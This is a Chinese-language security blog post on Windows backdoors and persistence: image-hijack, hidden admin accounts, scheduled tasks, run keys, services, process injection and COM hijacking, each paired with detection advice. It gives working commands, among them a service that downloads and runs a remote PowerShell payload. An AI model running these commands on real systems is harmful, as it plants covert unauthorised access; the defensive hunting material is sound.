上一篇 介绍了linux下常见backdoor及排查技术,本篇介绍windows平台下常见backdoor、权限维持方法及排查技术。
映像劫持辅助工具管理器,类似的程序有osk.exe、Narrator.exe、Magnify.exe等。REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
优点:简单
缺点:易被检测
排查:工具autoruns
更新:参考文章《打造不一样的Shfit映像劫持后门》用到了windows sdk里的gflags.exe工具(工具下载地址),这个工具里面有个silent process exit功能,大意是在调试某个程序退出时候可以关联绑定某个程序去静默执行,工具对注册表一些键值进行了修改,使用这种方法autoruns工具检测不出来。
创建克隆administrator账号,且通过命令net user 以及控制面板中的管理账户无法看到。
1.创建后门用户
net user defaultuser0$ somepasswordhere /add /ynet localgroup administrators defaultuser0$ /addnet localgroup "remote desktop users" defaultuser0$ /add
2.之后将administrator用户对应的Users中的F值复制替换后门账户的F值
3.导出User下面的后门账户以及name下面的后门账户两个文件。
4.通过命令删除刚才的后门用户
net user defaultuser0$ /del
5.通过注册表导入刚才保存的两个注册表
可参考文章《Windows系统的帐户隐藏》,当然整个过程也可以写个程序实现自动化。
安全支持提供程序(SSP)是Windows API,用于扩展Windows身份验证机制。LSASS进程在Windows启动期间加载安全支持提供程序DLL。这个时候攻击者可以将精心构造的dll加载之,这个dll可获取到lsass进程中的明文账号密码信息。mimikatz(mimilib.dll或memssp内存补丁方式)实现了这一功能,并把记录到的明文账号密码信息保存在本地。详见文章Persistence – Security Support Provider
优点:简单
缺点:易发现
排查:使用attrib命令或显示隐藏文件和受保护的操作系统文件即可发现。
2.ADS数据流隐藏。
1993年微软推出了基于流行的NT平台的Windows NT操作系统。之后,NTFS作为WIndows开发基于NT的操作系统时的首选文件系统,逐步取代被应用于旧版Windows操作系统(比如Windows 9x)的文件系统,即FAT(File Access Table)。
NTFS中的备用数据流(Alternate Data Stream,ADS)允许将一些元数据嵌入文件或是目录,而不需要修改其原始功能或内容。
在NTFS中,主数据流指的是文件或目录的标准内容,通常对用户可见,而备用数据流(ADS)则隐藏。如果要查看备用数据流,可以使用dir命令的/R选项,或是Windows提供的streams.exe工具,没有可用的API。
ADS没有大小限制且多个数据流可以和一个正常文件关联。ADS的内容也不仅限于text文本数据,基本上只要是二进制格式文件都可以被作为ADS备用流嵌入。
使用ADS流隐藏webshell,目前可过D盾扫描,注意ADS的一句话木马无法直接连接,可以使用php的include去包含执行.
可参考文章 利用ADS隐藏webshell 和 Windows ADS在渗透测试中的妙用
#from https://github.com/diggles9991/MG/blob/master/XMR/Hook.ps1#L12# Update scheduled Start TaskSCHTASKS /Delete /tn "AdobeReaderUpdate" /fSCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdate" /sc Weekly /d * /st 18:00:00 /tr "powershell.exe C:\Windows\System32\drivers\en-US\etc\Line.ps1"# Update scheduled End Task# SCHTASKS /Delete /tn "AdobeReaderUpdateEnd" /fSCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdateEnd" /sc Weekly /d MON,TUE,WED,THU,FRI /st 06:00:00 /tr "powershell.exe Stop-Process -Name $processname"# At commandat 1:00AM /Every:Saturday My_BackUp.bat 在每个Saturday的早上1:00点,定时启动My_BackUp.bat批处理文件。优点:简单
缺点:易被检测
排查:schtasks /query 命令进行查询或者通过计算机的管理查看,注意在windows的中文版系统中,schtasks命令需要切换字符为美国英语格式,使用命令chcp 437,或者直接工具autoruns。
HKEY_CURRENT_USER\EnvironmentHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run命令REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator\Desktop\mal.exe"
优点:重启权限维持
缺点:一般杀软均会拦截
排查:一个一个手工查太麻烦,建议直接上autoruns。
Windows服务是指Windows NT操作系统中的一种运行在后台的计算机程序。它在概念上类似于Unix守护进程。Windows服务可以配置为在操作系统启动时运行,并且在Windows运行期间持续在后台运行。服务也可以手动或基于某个事件而启动。我们可以通过运行services.msc查看当前系统的服务情况。
sc create [ServerName] binPath= BinaryPathName
例如创建一个名为主动防御的服务。
sc create "主动防御" binpath= "cmd /c start powershell.exe IEX (new-object net.webclient).downloadstring('http://ip/a')"
设置为自动运行
sc config "主动防御" start= auto
删除服务
sc delete "主动防御"
优点:重启权限维持
缺点:一般杀软会拦截
排查:工具autoruns
准确来说进程注入不是后门技术或者权限维持技术,而是一种隐藏技术,这里简单说一下empire的psinject、cobaltstrike的inject和meterpreter中的migrate进程注入,一般可以注入到像是lsass或者explorer这样的进程当中,相对比较隐蔽,较难排查。
使用方法这里就不介绍了,主要说一下如何hunting。这篇文章TALES OF A BLUE TEAMER: DETECTING POWERSHELL EMPIRE SHENANIGANS WITH SYSINTERNALS介绍了如何hunting empire方法,empire有一些evasion detection机制,其中的网络连接时间设置能有效避开常见主机流量检测工具(包括netstat、tcpview)的检测,文章中也介绍了使用process monitor是最快也是最有效的方法。
优点:较难排查
缺点:暂无
排查:工具process explorer 、process monitor及tcpview 配合使用。
捆绑的意思就是恶意程序以一个正常的程序(可以是程序也可以是文件如doc、pdf、jpg等)为载体,当这个“程序”执行的时候恶意程序即可运行。用于捆绑钓鱼的工具有很多,像是BDF(the backdoor factory)应该是比较早的一款工具,但现在好像是不怎么免杀了,前段时间看过现在都在用NimFileBinder这个工具进行捆绑,且免杀一些常见杀软,这个主要是利用了Nim这个小众语言做的(类似go,一些小众语言有时能做到很好的免杀)。
可参考 利用BDF向EXE文件植入后门 NimFileBinder:钓鱼攻击载荷捆绑利器
可以使用捆绑进行钓鱼,或者在拿到内网权限之后,可以在存放公共下载的服务器上给某个软件加上这样的后门。
在empire中有相应的module,作者参考使用了Powersploit里面的代码。
后门在系统重启五分钟之内触发且是system权限。
优点:无文件,相对来说难以排查
缺点:暂无
排查:工具autoruns
什么是COM,说白了,就是一堆功能相关的interface,它是某种语言向另一种语言暴露功能的最大单位。COMcomponent(COM组件)是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。在COM构架下,人们可以开发出各种各样的功能专一的组件,然后将它们按照需要组合起来,构成复杂的应用系统。由此带来的好处是多方面的:可以将系统中的组件用新的替换掉,以便随时进行系统的升级和定制;可以在多个应用系统中重复利用同一个组件;可以方便的将应用系统扩展到网络环境下;COM与语言,平台无关的特性使所有的程序员均可充分发挥自己的才智与专长编写组件模块。COM的最核心的思想,说白了就是要做个跨语言的 “class” “object” “function” 。
COM劫持,从根本上来说,就是在程序读取注册表信息中的DLL或者EXE功能的路径上,做一个拦截,让程序提前读取我们的设置好的恶意DLL或者EXE。原理其实和DLL劫持差不多。
详细可参考文章:COM组件劫持原理与实践
优点:隐藏性较好,autoruns查不到
缺点:暂无
排查:检查环境变量和注册表键值